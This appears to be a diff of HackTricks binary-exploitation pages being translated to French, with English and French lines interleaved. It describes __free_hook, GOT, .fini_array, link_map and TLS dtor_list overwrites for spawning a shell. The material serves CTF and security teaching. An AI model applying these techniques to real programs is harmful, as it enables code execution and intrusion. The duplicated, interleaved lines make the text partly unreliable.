- Tout d'abord, il est découvert qu'il est possible de travailler avec des **chunks de taille 200** dans l'emplacement **`__free_hook`** :
- <pre class="language-c"><code class="lang-c">gef➤ p &#x26;__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f &#x3C;list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed
- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin.
- Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function.
- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function.
- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter.
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f &#x3C;list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- Si nous parvenons à obtenir un chunk rapide de taille 0x200 à cet emplacement, il sera possible d'écraser un pointeur de fonction qui sera exécuté.
- Pour cela, un nouveau chunk de taille `0xfc` est créé et la fonction fusionnée est appelée avec ce pointeur deux fois, de cette manière nous obtenons un pointeur vers un chunk libéré de taille `0xfc*2 = 0x1f8` dans le fast bin.
- Ensuite, la fonction d'édition est appelée dans ce chunk pour modifier l'adresse **`fd`** de ce fast bin afin de pointer vers la fonction **`__free_hook`** précédente.
- Ensuite, un chunk de taille `0x1f8` est créé pour récupérer du fast bin le chunk inutile précédent, de sorte qu'un autre chunk de taille `0x1f8` soit créé pour obtenir un chunk fast bin dans le **`__free_hook`** qui est écrasé avec l'adresse de la fonction **`system`**.
- Et enfin, un chunk contenant la chaîne `/bin/sh\x00` est libéré en appelant la fonction de suppression, déclenchant la fonction **`__free_hook`** qui pointe vers system avec `/bin/sh\x00` comme paramètre.
## References
## Références
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).

View File

@ -2,63 +2,63 @@
{{#include ../../banners/hacktricks-training.md}}
## **Basic Information**
## **Informations de base**
### **GOT: Global Offset Table**
### **GOT : Table d'offset global**
The **Global Offset Table (GOT)** is a mechanism used in dynamically linked binaries to manage the **addresses of external functions**. Since these **addresses are not known until runtime** (due to dynamic linking), the GOT provides a way to **dynamically update the addresses of these external symbols** once they are resolved.
La **Table d'offset global (GOT)** est un mécanisme utilisé dans les binaires liés dynamiquement pour gérer les **adresses des fonctions externes**. Étant donné que ces **adresses ne sont pas connues avant l'exécution** (en raison du lien dynamique), la GOT fournit un moyen de **mettre à jour dynamiquement les adresses de ces symboles externes** une fois qu'elles sont résolues.
Each entry in the GOT corresponds to a symbol in the external libraries that the binary may call. When a **function is first called, its actual address is resolved by the dynamic linker and stored in the GOT**. Subsequent calls to the same function use the address stored in the GOT, thus avoiding the overhead of resolving the address again.
Chaque entrée dans la GOT correspond à un symbole dans les bibliothèques externes que le binaire peut appeler. Lorsqu'une **fonction est appelée pour la première fois, son adresse réelle est résolue par le lieur dynamique et stockée dans la GOT**. Les appels suivants à la même fonction utilisent l'adresse stockée dans la GOT, évitant ainsi le surcoût de la résolution de l'adresse à nouveau.
### **PLT: Procedure Linkage Table**
### **PLT : Table de liaison de procédure**
The **Procedure Linkage Table (PLT)** works closely with the GOT and serves as a trampoline to handle calls to external functions. When a binary **calls an external function for the first time, control is passed to an entry in the PLT associated with that function**. This PLT entry is responsible for invoking the dynamic linker to resolve the function's address if it has not already been resolved. After the address is resolved, it is stored in the **GOT**.
La **Table de liaison de procédure (PLT)** fonctionne en étroite collaboration avec la GOT et sert de trampoline pour gérer les appels aux fonctions externes. Lorsqu'un binaire **appelle une fonction externe pour la première fois, le contrôle est transféré à une entrée dans la PLT associée à cette fonction**. Cette entrée PLT est responsable d'invoquer le lieur dynamique pour résoudre l'adresse de la fonction si elle n'a pas déjà été résolue. Après que l'adresse soit résolue, elle est stockée dans la **GOT**.
**Therefore,** GOT entries are used directly once the address of an external function or variable is resolved. **PLT entries are used to facilitate the initial resolution** of these addresses via the dynamic linker.
**Par conséquent,** les entrées de la GOT sont utilisées directement une fois que l'adresse d'une fonction ou d'une variable externe est résolue. **Les entrées de la PLT sont utilisées pour faciliter la résolution initiale** de ces adresses via le lieur dynamique.
## Get Execution
## Obtenir l'exécution
### Check the GOT
### Vérifier la GOT
Get the address to the GOT table with: **`objdump -s -j .got ./exec`**
Obtenez l'adresse de la table GOT avec : **`objdump -s -j .got ./exec`**
![](<../../images/image (121).png>)
Observe how after **loading** the **executable** in GEF you can **see** the **functions** that are in the **GOT**: `gef➤ x/20x 0xADDR_GOT`
Observez comment après **le chargement** de l'**exécutable** dans GEF, vous pouvez **voir** les **fonctions** qui se trouvent dans la **GOT** : `gef➤ x/20x 0xADDR_GOT`
![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
Using GEF you can **start** a **debugging** session and execute **`got`** to see the got table:
En utilisant GEF, vous pouvez **démarrer** une session de **débogage** et exécuter **`got`** pour voir la table got :
![](<../../images/image (496).png>)
### GOT2Exec
In a binary the GOT has the **addresses to the functions or** to the **PLT** section that will load the function address. The goal of this arbitrary write is to **override a GOT entry** of a function that is going to be executed later **with** the **address** of the PLT of the **`system`** **function** for example.
Dans un binaire, la GOT contient les **adresses des fonctions ou** de la **section PLT** qui chargera l'adresse de la fonction. L'objectif de cette écriture arbitraire est de **remplacer une entrée de la GOT** d'une fonction qui sera exécutée plus tard **avec** l'**adresse** de la PLT de la **fonction** **`system`** par exemple.
Ideally, you will **override** the **GOT** of a **function** that is **going to be called with parameters controlled by you** (so you will be able to control the parameters sent to the system function).
Idéalement, vous allez **remplacer** la **GOT** d'une **fonction** qui est **appelée avec des paramètres contrôlés par vous** (vous pourrez ainsi contrôler les paramètres envoyés à la fonction système).
If **`system`** **isn't used** by the binary, the system function **won't** have an entry in the PLT. In this scenario, you will **need to leak first the address** of the `system` function and then overwrite the GOT to point to this address.
Si **`system`** **n'est pas utilisé** par le binaire, la fonction système **n'aura pas** d'entrée dans la PLT. Dans ce scénario, vous devrez **d'abord divulguer l'adresse** de la fonction `system` puis écraser la GOT pour pointer vers cette adresse.
You can see the PLT addresses with **`objdump -j .plt -d ./vuln_binary`**
Vous pouvez voir les adresses PLT avec **`objdump -j .plt -d ./vuln_binary`**
## libc GOT entries
## Entrées GOT de libc
The **GOT of libc** is usually compiled with **partial RELRO**, making it a nice target for this supposing it's possible to figure out its address ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
La **GOT de libc** est généralement compilée avec **RELRO partiel**, ce qui en fait une bonne cible pour cela, supposant qu'il est possible de déterminer son adresse ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
Common functions of the libc are going to call **other internal functions** whose GOT could be overwritten in order to get code execution.
Les fonctions courantes de la libc vont appeler **d'autres fonctions internes** dont la GOT pourrait être écrasée afin d'obtenir une exécution de code.
Find [**more information about this technique here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
Trouvez [**plus d'informations sur cette technique ici**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
### **Free2system**
In heap exploitation CTFs it's common to be able to control the content of chunks and at some point even overwrite the GOT table. A simple trick to get RCE if one gadgets aren't available is to overwrite the `free` GOT address to point to `system` and to write inside a chunk `"/bin/sh"`. This way when this chunk is freed, it'll execute `system("/bin/sh")`.
Dans les CTF d'exploitation de tas, il est courant de pouvoir contrôler le contenu des chunks et à un moment donné même écraser la table GOT. Un simple truc pour obtenir RCE si les gadgets ne sont pas disponibles est d'écraser l'adresse GOT de `free` pour pointer vers `system` et d'écrire dans un chunk `"/bin/sh"`. De cette façon, lorsque ce chunk est libéré, il exécutera `system("/bin/sh")`.
### **Strlen2system**
Another common technique is to overwrite the **`strlen`** GOT address to point to **`system`**, so if this function is called with user input it's posisble to pass the string `"/bin/sh"` and get a shell.
Une autre technique courante consiste à écraser l'adresse GOT de **`strlen`** pour pointer vers **`system`**, donc si cette fonction est appelée avec une entrée utilisateur, il est possible de passer la chaîne `"/bin/sh"` et d'obtenir un shell.
Moreover, if `puts` is used with user input, it's possible to overwrite the `strlen` GOT address to point to `system` and pass the string `"/bin/sh"` to get a shell because **`puts` will call `strlen` with the user input**.
De plus, si `puts` est utilisé avec une entrée utilisateur, il est possible d'écraser l'adresse GOT de `strlen` pour pointer vers `system` et de passer la chaîne `"/bin/sh"` pour obtenir un shell car **`puts` appellera `strlen` avec l'entrée utilisateur**.
## **One Gadget**
@ -66,22 +66,22 @@ Moreover, if `puts` is used with user input, it's possible to overwrite the `str
../rop-return-oriented-programing/ret2lib/one-gadget.md
{{#endref}}
## **Abusing GOT from Heap**
## **Abuser de la GOT depuis le tas**
A common way to obtain RCE from a heap vulnerability is to abuse a fastbin so it's possible to add the part of the GOT table into the fast bin, so whenever that chunk is allocated it'll be possible to **overwrite the pointer of a function, usually `free`**.\
Then, pointing `free` to `system` and freeing a chunk where was written `/bin/sh\x00` will execute a shell.
Une façon courante d'obtenir RCE à partir d'une vulnérabilité de tas est d'abuser d'un fastbin afin qu'il soit possible d'ajouter la partie de la table GOT dans le fast bin, de sorte que chaque fois que ce chunk est alloué, il sera possible de **remplacer le pointeur d'une fonction, généralement `free`**.\
Ensuite, en pointant `free` vers `system` et en libérant un chunk où était écrit `/bin/sh\x00`, cela exécutera un shell.
It's possible to find an [**example here**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.**
Il est possible de trouver un [**exemple ici**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.**
## **Protections**
The **Full RELRO** protection is meant to protect agains this kind of technique by resolving all the addresses of the functions when the binary is started and making the **GOT table read only** after it:
La protection **Full RELRO** est destinée à protéger contre ce type de technique en résolvant toutes les adresses des fonctions lorsque le binaire est démarré et en rendant la **table GOT en lecture seule** après cela :
{{#ref}}
../common-binary-protections-and-bypasses/relro.md
{{#endref}}
## References
## Références
- [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)

View File

@ -5,52 +5,48 @@
## .dtors
> [!CAUTION]
> Nowadays is very **weird to find a binary with a .dtors section!**
> De nos jours, il est très **bizarre de trouver un binaire avec une section .dtors !**
The destructors are functions that are **executed before program finishes** (after the `main` function returns).\
The addresses to these functions are stored inside the **`.dtors`** section of the binary and therefore, if you manage to **write** the **address** to a **shellcode** in **`__DTOR_END__`** , that will be **executed** before the programs ends.
Get the address of this section with:
Les destructeurs sont des fonctions qui sont **exécutées avant la fin du programme** (après le retour de la fonction `main`).\
Les adresses de ces fonctions sont stockées dans la section **`.dtors`** du binaire et donc, si vous parvenez à **écrire** l'**adresse** dans un **shellcode** dans **`__DTOR_END__`**, cela sera **exécuté** avant la fin des programmes.
Obtenez l'adresse de cette section avec :
```bash
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
```
Usually you will find the **DTOR** markers **between** the values `ffffffff` and `00000000`. So if you just see those values, it means that there **isn't any function registered**. So **overwrite** the **`00000000`** with the **address** to the **shellcode** to execute it.
Vous trouverez généralement les marqueurs **DTOR** **entre** les valeurs `ffffffff` et `00000000`. Donc, si vous voyez juste ces valeurs, cela signifie qu'il **n'y a pas de fonction enregistrée**. Donc, **écrasez** le **`00000000`** avec l'**adresse** du **shellcode** pour l'exécuter.
> [!WARNING]
> Ofc, you first need to find a **place to store the shellcode** in order to later call it.
> Bien sûr, vous devez d'abord trouver un **endroit pour stocker le shellcode** afin de pouvoir l'appeler plus tard.
## **.fini_array**
Essentially this is a structure with **functions that will be called** before the program finishes, like **`.dtors`**. This is interesting if you can call your **shellcode just jumping to an address**, or in cases where you need to go **back to `main`** again to **exploit the vulnerability a second time**.
Essentiellement, il s'agit d'une structure avec des **fonctions qui seront appelées** avant que le programme ne se termine, comme **`.dtors`**. C'est intéressant si vous pouvez appeler votre **shellcode simplement en sautant à une adresse**, ou dans les cas où vous devez revenir à **`main`** à nouveau pour **exploiter la vulnérabilité une deuxième fois**.
```bash
objdump -s -j .fini_array ./greeting
./greeting: file format elf32-i386
Contents of section .fini_array:
8049934 a0850408
8049934 a0850408
#Put your address in 0x8049934
```
Notez que lorsqu'une fonction de **`.fini_array`** est exécutée, elle passe à la suivante, donc elle ne sera pas exécutée plusieurs fois (prévenant les boucles éternelles), mais elle ne donnera également qu'une seule **exécution de la fonction** placée ici.
Note that when a function from the **`.fini_array`** is executed it moves to the next one, so it won't be executed several time (preventing eternal loops), but also it'll only give you 1 **execution of the function** placed here.
Notez que les entrées dans **`.fini_array`** sont appelées dans l'ordre **inverse**, donc vous voudrez probablement commencer à écrire à partir de la dernière.
Note that entries in `.fini_array` are called in **reverse** order, so you probably wants to start writing from the last one.
#### Boucle éternelle
#### Eternal loop
Pour abuser de **`.fini_array`** afin d'obtenir une boucle éternelle, vous pouvez [**vérifier ce qui a été fait ici**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** Si vous avez au moins 2 entrées dans **`.fini_array`**, vous pouvez :
In order to abuse **`.fini_array`** to get an eternal loop you can [**check what was done here**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** If you have at least 2 entries in **`.fini_array`**, you can:
- Use your first write to **call the vulnerable arbitrary write function** again
- Then, calculate the return address in the stack stored by **`__libc_csu_fini`** (the function that is calling all the `.fini_array` functions) and put there the **address of `__libc_csu_fini`**
- This will make **`__libc_csu_fini`** call himself again executing the **`.fini_array`** functions again which will call the vulnerable WWW function 2 times: one for **arbitrary write** and another one to overwrite again the **return address of `__libc_csu_fini`** on the stack to call itself again.
- Utiliser votre première écriture pour **appeler à nouveau la fonction vulnérable d'écriture arbitraire**
- Ensuite, calculer l'adresse de retour dans la pile stockée par **`__libc_csu_fini`** (la fonction qui appelle toutes les fonctions de **`.fini_array`**) et y mettre l'**adresse de `__libc_csu_fini`**
- Cela fera que **`__libc_csu_fini`** s'appellera à nouveau en exécutant les fonctions de **`.fini_array`** à nouveau, ce qui appellera la fonction WWW vulnérable 2 fois : une pour **l'écriture arbitraire** et une autre pour écraser à nouveau l'**adresse de retour de `__libc_csu_fini`** dans la pile pour s'appeler à nouveau.
> [!CAUTION]
> Note that with [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** the section **`.fini_array`** is made **read-only**.
> In newer versions, even with [**Partial RELRO**] the section **`.fini_array`** is made **read-only** also.
> Notez qu'avec [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** la section **`.fini_array`** est rendue **en lecture seule**.
> Dans les versions plus récentes, même avec [**Partial RELRO**], la section **`.fini_array`** est également rendue **en lecture seule**.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,39 +1,38 @@
# WWW2Exec - atexit(), TLS Storage & Other mangled Pointers
# WWW2Exec - atexit(), stockage TLS et autres pointeurs altérés
{{#include ../../banners/hacktricks-training.md}}
## **\_\_atexit Structures**
> [!CAUTION]
> Nowadays is very **weird to exploit this!**
> De nos jours, il est très **bizarre d'exploiter cela !**
**`atexit()`** is a function to which **other functions are passed as parameters.** These **functions** will be **executed** when executing an **`exit()`** or the **return** of the **main**.\
If you can **modify** the **address** of any of these **functions** to point to a shellcode for example, you will **gain control** of the **process**, but this is currently more complicated.\
Currently the **addresses to the functions** to be executed are **hidden** behind several structures and finally the address to which it points are not the addresses of the functions, but are **encrypted with XOR** and displacements with a **random key**. So currently this attack vector is **not very useful at least on x86** and **x64_86**.\
The **encryption function** is **`PTR_MANGLE`**. **Other architectures** such as m68k, mips32, mips64, aarch64, arm, hppa... **do not implement the encryption** function because it **returns the same** as it received as input. So these architectures would be attackable by this vector.
**`atexit()`** est une fonction à laquelle **d'autres fonctions sont passées en paramètres.** Ces **fonctions** seront **exécutées** lors de l'exécution d'un **`exit()`** ou du **retour** de la **main**.\
Si vous pouvez **modifier** l'**adresse** de l'une de ces **fonctions** pour pointer vers un shellcode par exemple, vous **prenez le contrôle** du **processus**, mais cela est actuellement plus compliqué.\
Actuellement, les **adresses des fonctions** à exécuter sont **cachées** derrière plusieurs structures et finalement l'adresse à laquelle elles pointent n'est pas l'adresse des fonctions, mais est **chiffrée avec XOR** et des déplacements avec une **clé aléatoire**. Donc, actuellement, ce vecteur d'attaque n'est **pas très utile, du moins sur x86** et **x64_86**.\
La **fonction de chiffrement** est **`PTR_MANGLE`**. **D'autres architectures** telles que m68k, mips32, mips64, aarch64, arm, hppa... **n'implémentent pas la fonction de chiffrement** car elle **retourne la même** chose que ce qu'elle a reçu en entrée. Donc, ces architectures seraient attaquables par ce vecteur.
You can find an in depth explanation on how this works in [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html)
Vous pouvez trouver une explication détaillée sur le fonctionnement de cela dans [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html)
## link_map
As explained [**in this post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure), If the program exits using `return` or `exit()` it'll run `__run_exit_handlers()` which will call registered destructors.
Comme expliqué [**dans ce post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure), si le programme se termine en utilisant `return` ou `exit()`, il exécutera `__run_exit_handlers()` qui appellera les destructeurs enregistrés.
> [!CAUTION]
> If the program exits via **`_exit()`** function, it'll call the **`exit` syscall** and the exit handlers will not be executed. So, to confirm `__run_exit_handlers()` is executed you can set a breakpoint on it.
The important code is ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):
> Si le programme se termine via la fonction **`_exit()`**, il appellera le **syscall `exit`** et les gestionnaires de sortie ne seront pas exécutés. Donc, pour confirmer que `__run_exit_handlers()` est exécuté, vous pouvez définir un point d'arrêt dessus.
Le code important est ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):
```c
ElfW(Dyn) *fini_array = map->l_info[DT_FINI_ARRAY];
if (fini_array != NULL)
{
ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr);
size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
{
ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr);
size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
while (sz-- > 0)
((fini_t) array[sz]) ();
}
[...]
while (sz-- > 0)
((fini_t) array[sz]) ();
}
[...]
@ -41,198 +40,187 @@ if (fini_array != NULL)
// This is the d_un structure
ptype l->l_info[DT_FINI_ARRAY]->d_un
type = union {
Elf64_Xword d_val; // address of function that will be called, we put our onegadget here
Elf64_Addr d_ptr; // offset from l->l_addr of our structure
Elf64_Xword d_val; // address of function that will be called, we put our onegadget here
Elf64_Addr d_ptr; // offset from l->l_addr of our structure
}
```
Notez comment `map -> l_addr + fini_array -> d_un.d_ptr` est utilisé pour **calculer** la position de l'**array de fonctions à appeler**.
Note how `map -> l_addr + fini_array -> d_un.d_ptr` is used to **calculate** the position of the **array of functions to call**.
Il y a **quelques options** :
There are a **couple of options**:
- Overwrite the value of `map->l_addr` to make it point to a **fake `fini_array`** with instructions to execute arbitrary code
- Overwrite `l_info[DT_FINI_ARRAY]` and `l_info[DT_FINI_ARRAYSZ]` entries (which are more or less consecutive in memory) , to make them **points to a forged `Elf64_Dyn`** structure that will make again **`array` points to a memory** zone the attacker controlled.&#x20;
- [**This writeup**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) overwrites `l_info[DT_FINI_ARRAY]` with the address of a controlled memory in `.bss` containing a fake `fini_array`. This fake array contains **first a** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **address** which will be executed and then the **difference** between in the address of this **fake array** and the v**alue of `map->l_addr`** so `*array` will point to the fake array.
- According to main post of this technique and [**this writeup**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) ld.so leave a pointer on the stack that points to the binary `link_map` in ld.so. With an arbitrary write it's possible to overwrite it and make it point to a fake `fini_array` controlled by the attacker with the address to a [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) for example.
Following the previous code you can find another interesting section with the code:
- Écraser la valeur de `map->l_addr` pour qu'elle pointe vers un **faux `fini_array`** avec des instructions pour exécuter du code arbitraire.
- Écraser les entrées `l_info[DT_FINI_ARRAY]` et `l_info[DT_FINI_ARRAYSZ]` (qui sont plus ou moins consécutives en mémoire), pour les faire **pointer vers une structure `Elf64_Dyn` forgée** qui fera à nouveau **que `array` pointe vers une zone mémoire** contrôlée par l'attaquant.&#x20;
- [**Ce rapport**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) écrase `l_info[DT_FINI_ARRAY]` avec l'adresse d'une mémoire contrôlée dans `.bss` contenant un faux `fini_array`. Ce faux tableau contient **d'abord un** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **adresse** qui sera exécutée et ensuite la **différence** entre l'adresse de ce **faux tableau** et la **valeur de `map->l_addr`** afin que `*array` pointe vers le faux tableau.
- Selon le post principal de cette technique et [**ce rapport**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet), ld.so laisse un pointeur sur la pile qui pointe vers le `link_map` binaire dans ld.so. Avec une écriture arbitraire, il est possible de l'écraser et de le faire pointer vers un faux `fini_array` contrôlé par l'attaquant avec l'adresse d'un [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) par exemple.
Suite au code précédent, vous pouvez trouver une autre section intéressante avec le code :
```c
/* Next try the old-style destructor. */
ElfW(Dyn) *fini = map->l_info[DT_FINI];
if (fini != NULL)
DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
}
```
Dans ce cas, il serait possible de remplacer la valeur de `map->l_info[DT_FINI]` pointant vers une structure `ElfW(Dyn)` forgée. Trouvez [**plus d'informations ici**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure).
In this case it would be possible to overwrite the value of `map->l_info[DT_FINI]` pointing to a forged `ElfW(Dyn)` structure. Find [**more information here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure).
## Surcharge de dtor_list de TLS-Storage dans **`__run_exit_handlers`**
## TLS-Storage dtor_list overwrite in **`__run_exit_handlers`**
As [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), if a program exits via `return` or `exit()`, it'll execute **`__run_exit_handlers()`** which will call any destructors function registered.
Code from `_run_exit_handlers()`:
Comme [**expliqué ici**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), si un programme se termine via `return` ou `exit()`, il exécutera **`__run_exit_handlers()`** qui appellera toute fonction destructrice enregistrée.
Code de `_run_exit_handlers()`:
```c
/* Call all functions registered with `atexit' and `on_exit',
in the reverse of the order in which they were registered
perform stdio cleanup, and terminate program execution with STATUS. */
in the reverse of the order in which they were registered
perform stdio cleanup, and terminate program execution with STATUS. */
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors)
bool run_list_atexit, bool run_dtors)
{
/* First, call the TLS destructors. */
/* First, call the TLS destructors. */
#ifndef SHARED
if (&__call_tls_dtors != NULL)
if (&__call_tls_dtors != NULL)
#endif
if (run_dtors)
__call_tls_dtors ();
if (run_dtors)
__call_tls_dtors ();
```
Code from **`__call_tls_dtors()`**:
Code de **`__call_tls_dtors()`** :
```c
typedef void (*dtor_func) (void *);
struct dtor_list //struct added
{
dtor_func func;
void *obj;
struct link_map *map;
struct dtor_list *next;
dtor_func func;
void *obj;
struct link_map *map;
struct dtor_list *next;
};
[...]
/* Call the destructors. This is called either when a thread returns from the
initial function or when the process exits via the exit function. */
initial function or when the process exits via the exit function. */
void
__call_tls_dtors (void)
{
while (tls_dtor_list) // parse the dtor_list chained structures
{
struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list
dtor_func func = cur->func;
PTR_DEMANGLE (func); // demangle the function ptr
while (tls_dtor_list) // parse the dtor_list chained structures
{
struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list
dtor_func func = cur->func;
PTR_DEMANGLE (func); // demangle the function ptr
tls_dtor_list = tls_dtor_list->next; // next dtor_list structure
func (cur->obj);
[...]
}
tls_dtor_list = tls_dtor_list->next; // next dtor_list structure
func (cur->obj);
[...]
}
}
```
Pour chaque fonction enregistrée dans **`tls_dtor_list`**, il démanglera le pointeur de **`cur->func`** et l'appellera avec l'argument **`cur->obj`**.
For each registered function in **`tls_dtor_list`**, it'll demangle the pointer from **`cur->func`** and call it with the argument **`cur->obj`**.
Using the **`tls`** function from this [**fork of GEF**](https://github.com/bata24/gef), it's possible to see that actually the **`dtor_list`** is very **close** to the **stack canary** and **PTR_MANGLE cookie**. So, with an overflow on it's it would be possible to **overwrite** the **cookie** and the **stack canary**.\
Overwriting the PTR_MANGLE cookie, it would be possible to **bypass the `PTR_DEMANLE` function** by setting it to 0x00, will mean that the **`xor`** used to get the real address is just the address configured. Then, by writing on the **`dtor_list`** it's possible **chain several functions** with the function **address** and it's **argument.**
Finally notice that the stored pointer is not only going to be xored with the cookie but also rotated 17 bits:
En utilisant la fonction **`tls`** de ce [**fork de GEF**](https://github.com/bata24/gef), il est possible de voir que le **`dtor_list`** est en fait très **proche** du **stack canary** et du **PTR_MANGLE cookie**. Donc, avec un débordement sur celui-ci, il serait possible de **surcharger** le **cookie** et le **stack canary**.\
En surchargeant le PTR_MANGLE cookie, il serait possible de **contourner la fonction `PTR_DEMANLE`** en le définissant à 0x00, ce qui signifie que le **`xor`** utilisé pour obtenir l'adresse réelle est juste l'adresse configurée. Ensuite, en écrivant sur le **`dtor_list`**, il est possible de **chaîner plusieurs fonctions** avec l'**adresse** de la fonction et son **argument**.
Enfin, notez que le pointeur stocké ne sera pas seulement xored avec le cookie mais également tourné de 17 bits :
```armasm
0x00007fc390444dd4 <+36>: mov rax,QWORD PTR [rbx] --> mangled ptr
0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits
0x00007fc390444ddb <+43>: xor rax,QWORD PTR fs:0x30 --> xor with PTR_MANGLE
```
Donc, vous devez en tenir compte avant d'ajouter une nouvelle adresse.
So you need to take this into account before adding a new address.
Trouvez un exemple dans le [**post original**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite).
Find an example in the [**original post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite).
## Autres pointeurs altérés dans **`__run_exit_handlers`**
## Other mangled pointers in **`__run_exit_handlers`**
This technique is [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) and depends again on the program **exiting calling `return` or `exit()`** so **`__run_exit_handlers()`** is called.
Let's check more code of this function:
